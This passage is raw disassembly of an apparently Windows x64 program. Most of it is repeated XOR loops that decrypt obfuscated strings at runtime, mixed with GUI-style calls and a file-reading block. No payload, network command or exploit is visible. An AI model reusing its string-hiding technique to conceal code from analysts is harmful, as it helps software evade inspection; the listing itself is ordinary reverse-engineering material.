movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140100210]
pxor xmm2, xmm0
movd dword [rbp + 0x68], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6c]
pxor xmm2, xmm1
movd dword [rbp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14007a6f0
lea rcx, [rbp + 0x68]
call fcn.14004adb0
movups xmm0, xmmword [0x1400ff8c0]
movups xmmword [rbp + 0x3b0], xmm0
movups xmm1, xmmword [0x1400ff8d0]
movups xmmword [rbp + 0x3c0], xmm1
movups xmm0, xmmword [0x1400ff8e0]
movups xmmword [rbp + 0x3d0], xmm0
movups xmm1, xmmword [0x1400ff8f0]
movups xmmword [rbp + 0x3e0], xmm1
movzx eax, word [0x1400ff900]
mov word [rbp + 0x3f0], ax
mov r8d, edi
cmp r15d, 2
jl 0x14007a8cf
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movdqa xmm7, xmmword [0x1401004b0]
movd xmm8, ebx
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0x3b4]
mov edx, dword [rbp + 0x2c0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14007a7c0
cmp r8d, 0x42
jge 0x14007a913
movsxd rax, r8d
lea r9, [rbp + 0x3b0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x42
jl 0x14007a8e0
lea rcx, [rbp + 0x3b0]
call fcn.14004adb0
movups xmm0, xmmword [0x1400ffda8]
movups xmmword [rbp + 8], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14007aad3
cmp r15d, 2
jl 0x14007aa8c
movdqa xmm5, xmmword [0x140100490]
mov edx, edi
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movdqa xmm7, xmmword [0x1401004b0]
movd xmm8, ebx
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0xc]
mov r8d, dword [rbp + 0x2c0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14007a983
jmp 0x14007aad3
lea r9, [rbp + 8]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14007aaa0
lea rcx, [rbp + 8]
call fcn.14004adb0
movups xmm0, xmmword [0x140100148]
movups xmmword [rbp + 0x3b0], xmm0
movups xmm1, xmmword [0x140100158]
movups xmmword [rbp + 0x3c0], xmm1
mov eax, dword [0x140100168]
mov dword [rbp + 0x3d0], eax
movzx eax, word [0x14010016c]
mov word [rbp + 0x3d4], ax
movzx eax, byte [0x14010016e]
mov byte [rbp + 0x3d6], al
mov r8d, edi
cmp r15d, 2
jl 0x14007ac7f
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movdqa xmm7, xmmword [0x1401004b0]
movd xmm8, ebx
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0x3b4]
mov edx, dword [rbp + 0x2c0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14007ab70
cmp r8d, 0x27
jge 0x14007acc3
movsxd rax, r8d
lea r9, [rbp + 0x3b0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14007ac90
lea rcx, [rbp + 0x3b0]
call fcn.14004adb0
movups xmm0, xmmword [0x140100118]
movups xmmword [rbp + 8], xmm0
mov eax, dword [0x140100128]
mov dword [rbp + 0x18], eax
movzx eax, byte [0x14010012c]
mov byte [rbp + 0x1c], al
mov r8d, edi
cmp r15d, 2
jl 0x14007ae4f
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movdqa xmm7, xmmword [0x1401004b0]
movd xmm8, ebx
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0xc]
mov edx, dword [rbp + 0x2c0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007ad40
cmp r8d, 0x15
jge 0x14007ae93
movsxd rax, r8d
lea r9, [rbp + 8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14007ae60
lea rcx, [rbp + 8]
call fcn.14004adb0
movups xmm0, xmmword [0x1400ff878]
movups xmmword [rbp + 8], xmm0
movsd xmm0, qword [0x1400ff888]
movsd qword [rbp + 0x18], xmm0
movzx eax, word [0x1400ff890]
mov word [rbp + 0x20], ax
cmp byte [0x1400ff891], 0
je 0x14007b073
mov r8d, edi
cmp r15d, 2
jl 0x14007b02f
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movdqa xmm7, xmmword [0x1401004b0]
movd xmm8, ebx
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0xc]
mov edx, dword [rbp + 0x2c0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14007af20
cmp r8d, 0x1a
jge 0x14007b073
movsxd rax, r8d
lea r9, [rbp + 8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14007b040
lea rcx, [rbp + 8]
call fcn.14004adb0
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007b0c3
mov qword [rbp + 0x290], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x290]
call fcn.140023210
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007b103
mov qword [rbp + 0x298], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x298]
call fcn.140023210
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007b143
mov qword [rbp + 0x2a0], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x2a0]
call fcn.140023210
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007b183
mov qword [rbp + 0x2a8], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x2a8]
call fcn.140023210
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007b1c3
mov qword [rbp + 0x2b0], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x2b0]
call fcn.140023210
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007b1fc
mov qword [rbp + 0x148], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x148]
call fcn.140023210
mov dword [rbp + 0x150], 0x42f00000
mov dword [rbp + 0x154], 0x41c80000
movups xmm0, xmmword [0x1400ff800]
movups xmmword [rbp + 8], xmm0
mov eax, dword [0x1400ff810]
mov dword [rbp + 0x18], eax
cmp byte [0x1400ff813], 0
je 0x14007b3d3
mov r8d, edi
cmp r15d, 2
jl 0x14007b38f
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movdqa xmm7, xmmword [0x1401004b0]
movd xmm8, ebx
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0xc]
mov edx, dword [rbp + 0x2c0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007b280
cmp r8d, 0x14
jge 0x14007b3d3
movsxd rax, r8d
lea r9, [rbp + 8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14007b3a0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 8]
call fcn.14004b870
test al, al
je 0x14007b3ec
call fcn.1400697a0
call fcn.14001c800
cmp dword [0x1401183f0], 2
jne 0x14007b7c8
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400235f0
mov rbx, qword [0x140117be0]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm13
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm14
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp + 0x158], 0x442f0000
mov dword [rbp + 0x15c], 0x437a0000
movsd xmm0, qword [str.pZSoPT_SJ_]
movsd qword [rbp + 0xb8], xmm0
mov eax, dword [0x1400ff910]
mov dword [rbp + 0xc0], eax
cmp byte [0x1400ff913], 0
je 0x14007b633
mov r8d, edi
cmp r15d, 2
jl 0x14007b5ea
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
mov eax, Ordinal_33
movd xmm5, eax
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.pZSoPT_SJ_]
pxor xmm2, xmm0
movd dword [rbp + 0xb8], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbc]
pxor xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xb8]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14007b600
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
xor edx, edx
lea rcx, [rbp + 0xb8]
call fcn.140014880
cmp dword [rbx + 0x1d6c], eax
jne 0x14007b677
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14007b686
mov byte [rbx + 0x1dac], 1
lea r8, [rbp + 0x158]
mov edx, eax
lea rcx, [rbp + 0xb8]
call fcn.14001c560
test al, al
je 0x14007b7c8
movaps xmm0, xmmword [0x1401007e0]
movups xmmword [rbp + 0x2c0], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 8], xmm1
mov dword [rbp + 0x160], 0x3f800000
mov dword [rbp + 0x164], 0x3f800000
mov qword [rbp + 0x168], 0
mov dword [rbp + 0x170], 0x438c0000
mov dword [rbp + 0x174], 0x43480000
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x160]
lea r8, [rbp + 0x168]
lea rdx, [rbp + 0x170]
mov rcx, r14
call fcn.14004d5a0
test al, al
je 0x14007b72f
mov dword [0x1401183e0], edi
xor r13b, r13b
mov byte [rsp + 0x60], 1
movaps xmm0, xmmword [0x1401007e0]
movups xmmword [rbp + 0x2c0], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 8], xmm1
mov dword [rbp + 0x1d8], 0x3f800000
mov dword [rbp + 0x1dc], 0x3f800000
mov qword [rbp + 0x178], 0
mov dword [rbp + 0x180], 0x438c0000
mov dword [rbp + 0x184], 0x43480000
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x1d8]
lea r8, [rbp + 0x178]
lea rdx, [rbp + 0x180]
mov rcx, qword [rbp + 0x200]
call fcn.14004d5a0
test al, al
je 0x14007b7c3
mov eax, 1
mov dword [0x1401183e0], eax
xor r13b, r13b
mov byte [rsp + 0x60], al
call fcn.14001c800
cmp dword [reloc.WS2_32.dll_bind], 2
jne 0x14007c951
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007b81c
mov qword [rbp + 0x188], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x188]
call fcn.140023210
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007b845
mov eax, dword [rax + 0x1f4]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.14004d740
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007b885
mov qword [rbp + 0x190], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.140023210
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007b8c5
mov qword [rbp + 0x198], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x198]
call fcn.140023210
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007b8fe
mov qword [rbp + 0x1a0], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x1a0]
call fcn.140023210
cmp byte [0x140117bda], 0
jne 0x14007ba0a
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x510]
call fcn.1400e5878
mov r8d, 1
lea rdx, [0x140117ef8]
lea rcx, [rbp + 0x510]
call fcn.14005e2a0
nop
cmp qword [rbp + 0x5a0], 0
je 0x14007b9ab
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, [0x140117c58]
lea rcx, [rbp + 0x510]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::getline_char____ptr64__long_long___int64_____ptr64]
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, [0x140117c38]
lea rcx, [rbp + 0x510]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::getline_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x520]
call fcn.14005ec50
test rax, rax
jne 0x14007b9ab
mov rax, qword [rbp + 0x510]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x510]
add rcx, rax
xor r8d, r8d
